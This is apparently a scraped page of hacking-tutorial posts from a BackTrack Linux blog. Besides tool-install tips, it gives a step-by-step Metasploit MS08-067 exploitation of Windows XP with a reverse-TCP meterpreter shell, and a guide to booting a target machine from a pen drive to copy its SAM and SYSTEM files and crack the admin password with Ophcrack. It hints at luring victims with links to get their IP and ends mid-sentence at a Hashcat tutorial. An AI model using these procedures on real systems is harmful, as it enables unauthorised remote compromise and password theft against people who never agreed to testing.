How To Install And Use Websploit Framework in Backtrack ?

This video will demonstrate how to Install websploit on backtrack 5 R2 and working with websploit framework.

Download the WebSploit Framework

How to connect ssl to backtrack using putty

The video is created by Vishnu Sharma. In this video he has showed u how to run ssh service in u r backtrack or any Linux machine using putty .

The download link of putty: http://putty.org

[Metasploit Tutorial] Hacking Windows XP using IP Address

Do you think it is possible to hack some one computer with just an ip address?! The answer is yes, if you are using unpatched(vulnerable) OS.  If you don't believe me, then read the full article.

In this article i am going to demonstrate how to hack a remote computer by exploiting the  parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service(CVE-2008-4250). Before we jump into the actual exploitation process, let me give more details about this Server Service Vulnerability.

Details about Server Service Vulnerability(MS08-067):
Microsoft Windows Server service provides support for sharing resources such as files and print services over the network.

The Server service is vulnerable to a remote code-execution vulnerability. The vulnerability is caused due to an error in netapi32.dll when processing directory traversal character sequences in path names. This can be exploited to corrupt stack memory by e.g. sending RPC requests containing specially crafted path names to the Server Service component. The 'NetprPathCanonicalize()' function in the 'netapi32.dll' file is affected.

A malicious request to vulnerable system results in complete compromise of vulnerable computers.
This vulnerability affects Windows XP, Windows 2000, Windows Server 2003, Windows Vista, and Windows Server 2008. But Attackers require authenticated access on Windows Vista and Server 2008 platforms to exploit this issue.

Exploiting the MS08-067 using Metasploit:

Requirements:

• VirtualBox
• Backtrack 5
• Target OS(XP)

Step 1:

Create Two Virtual Machine(VM) namely "Target" and "BT5".  Install the XP inside Target VM and Backtrack inside BT5. Start the Two VMs.

If you don't know how to create virtual machines , then please read this VirtualBox Manual.

Step 2: Find the IP address of Target
Open The command prompt in the Target machine(XP). Type "ipconfig" to find the IP address of the Target system.

Hackers use different method for finding the ip address of victim.  For Eg., By sending link that will get the ip  details or use Angry IP Scanner.

Step 3: Information Gathering
Now let us collect some information about the Target machine.  For this purpose , we are going to use the nmap tool.

Open The Terminal in the BT5 machine(Backtrack) and type "nmap -O 192.168.56.12".  Here 192.168.56.12 is IP address of Target machine. If you look at the result, you can find the list of open ports and OS version.

Step 4: Metasploit
Now open the Terminal in the BT5 machine(Backtrack) and Type "msfconsole".

The msfconsole is the most popular interface to the Metasploit Framework. It provides an "all-in-one" centralized console and allows you efficient access to virtually all of the options available in the Metasploit Framework.

Let us use the Search command to find the exploit modules with the keyword netapi. Type "search netapi".  Now you can see the list of modules match with the netapi.

We are going to exploit MS08-067 , so type "use exploit/windows/smb/ms08_067_netapi".

Step 5: Set Payload
As usual, let use the Reverse Tcp Payload for this exploit also. Type "set payload windows/meterpreter/reverse_tcp" in the msfconsole.

Step 6: Options
Type "set LHOST 192.168.56.10".  Here 192.168.56.10 is IP address of Backtrack machine.  You can find the ip address by typing 'ifconfig' command in the Terminal.

Type "set RHOST 192.168.56.12".  Here 192.168.56.12 is IP address of Target machine.

Step 7: Exploiting
Ok, it is time to exploit the vulnerability, type "exploit" in the console. If the exploit is successful, you can see the following result.

Now we can control the remote computer using the meterpreter. For example, typing "screenshot" will grab the screenshot of the victim system.

CounterMeasures:
Update your OS frequently.

[VIDEO Tutorial] Exploiting Java AtomicReferenceArray Type violation vulnerability

The Text+Image version of this video is available here:
Exploiting Java vulnerability

How to do Sql injection attack with Back Track 5 using sqlmap? [Hacking video Tutorials]

Hello BTS readers, here is PenTesting video tutorial that explains how to do SQL injection with Backtrack5 using Sqlmap tool. This tutorial is submitted by Anonymous Nepal.

How to install Backtrack 5 R1 on Pendrive with Persistent Memory -BackTrack Linux Tutorials

Let me explain you how to install backtrack linux(pentertation testing distribution) on Pendrive/Flash drive persistent Memory(to store changes). Without persistent memory, you can not install new software or copy files in your backtrack.  

How to Install Teamviewer -Backtrack Tutorials and Tricks

Backtrack has all required tools for PenTesting. you can install Teamview in Backtrack also.

Teamviewer:
Teamviewer is legal Remote Administration Tool[RAT].  Using Teamview you can control  your friend's system from your computer.
Visit Teamviewer official site:

http://www.teamviewer.com/en/download/index.aspx

Download .deb file
Copy it to desktop.
Open the Terminal
and type the following command:
sudo dpkg -i /root/teamviewer_linux.deb
It will install the Team viewer. Enjoy.

Having doubts? Feel free to comment. 

Install Movie Players in GNOME Backtrack 5

I like to hear songs while workign.  If you are also like that, this article is for you.  While using backtrack, you can use players.

For installing Totem media player,
Open the terminal(if you don't know how to open terminal, better don't use backtrack Linu).
Type the following command:

sudo apt-get install totem-gstreamer

and hit enter, it will start to download files and install it.
Enjoy.

If you are using it from pen drive, verify you set enough persistence memory.

Apache Log Extractor Tool for Pen Testers

We know that Apache Server is Famous Web server.  Let us see what is Apache log extractor tool .

What is Apache Log Extractor Tool?
Apache Log Extractor is a quick script to export URL information from Apache access logs. The thought behind this script was to provide a list of known URL’s on a remote server by analysing the logs. This list could then be used as the input for further testing tools e.g Burp Suite – Intruder.

How to Hack the Windows Admin Password Using OphCrack in Backtrack tutorial

In this post, i am going to help you to crack the any type of windows accounts passwords. Learn how to hack the windows admin password like a geek.

This is My Second Backtrack Linux Tutorial.
[see the screen shots of this tutorial ]

Refer this link also: How to hack the windows 7 or vista using the following method

Requirements:

• BackTrack Linux 4 or 5. Download it from http://backtrack-linux.org
• One pen drive(above 4gb)
• Xp Free Fast RainBow table [tables_xp_free_fast.zip]. Download it from here:http://ophcrack.sourceforge.net/tables.php 

*Install the Backtrack Linux in the pen drive with small amount of persistent memory.

Step 1: Booting From Back Track
Insert the pen drive in target computer[when turned off].  We are going to boot the operating system from pen drive, so insert when the system is turned off.
Now Turn on the system.
Press F10 [boot menu, differs for system]  before booting and select boot from Pen drive. 
Now it will boot the Backtrack.
Select "Graphical User Interface "
Now wait for a while ( it will execute some commands}
Now you can see the "root:"
type "startx" and hit enter.  It will bring you to the GUI view of Backtrack.

Step 2:Copy the SAM and System files
Click the  Start button(dragon symbol)
Select System Menu
Select Storage Media(if you see nothing, close the window open it again).

You can see the list of Hard disk and Your pen drive.
Open the windows installed Hard disk and Navigate to this path:
WINDOWS/system32/config/

There you can see two files named as "SAM" and "System". 

Copy the both SAM and system files .
[ Just proceed to next step without closing the window]

Create a new folder in the desktop and paste the files inside.

Step 4: Run OphCrack Tool in Backtrack
Open the ophcrack GUI(start->Backtrack->Privilege Escalation->Password Attack->offline Attacks-ophCrack GUI).

Step 5: Loading the folder that contains sam and system files

Click the Load and select "Encrypted SAM" in ophcrack tool.
Now it will ask you to select directory that contains SAM folder. Select the directory where you saved the SAM file.

Now it will load and display the list of user accounts in the windows.

Step 6: Target the Admin Account
Here i am going to hack the one of the administrator account of my computer. So remove all other accounts except the target admin account.

Step 7: The Rainbow Table

Extract the "tables_xp_free_fast.zip" file in the desktop.

Click the Table button in ophcrack tool. Now it will ask you to selec the table.  Select the "XP free fast" and click the install button. Now browse to the Rain bow table directory "tables_xp_free_fast"
Now click ok.

Step 8: Cracking Begins
Click the Crack button.
Wait for a while [ophcrack is the fastest cracking tool. so it won't take too much time]

Step 9: Password is cracked
Yes..!! we got the password.

Don't forget to share with your friends.

Screen shots :

Screen shots windows Admin Password Cracking

How to Crack Windows Accounts Example Screenshots Tutorial

Hi Break The Security hackers, this is just screen shot.  The Detailed Text version tutorial can be found in this link:
How to hack Windows accounts Password with Ophcrack?

I have separated it into two parts because of too large number of Screen shots. 

Hashcode Cracking using Hashcat| Backtrack 4 Tutorials Part 1

I have Break The security(BTS) readers, this is first Backtrack 4 hacking tutorial.  Today let us see about the HashCat cracking tool(Dictionary attack).  if you don't know what is Dictionary attack,then please read this Dictionary Attack Practical Example

Backtrack 4 Tutorials Step 1:
Boot into the Backtrack 4 Linux. 
Now Navigate to this Path:
Backtrack->privilege Escalation->Password attack->Offline attacks
Open the HashCat .
Now you can see the terminal window with this path :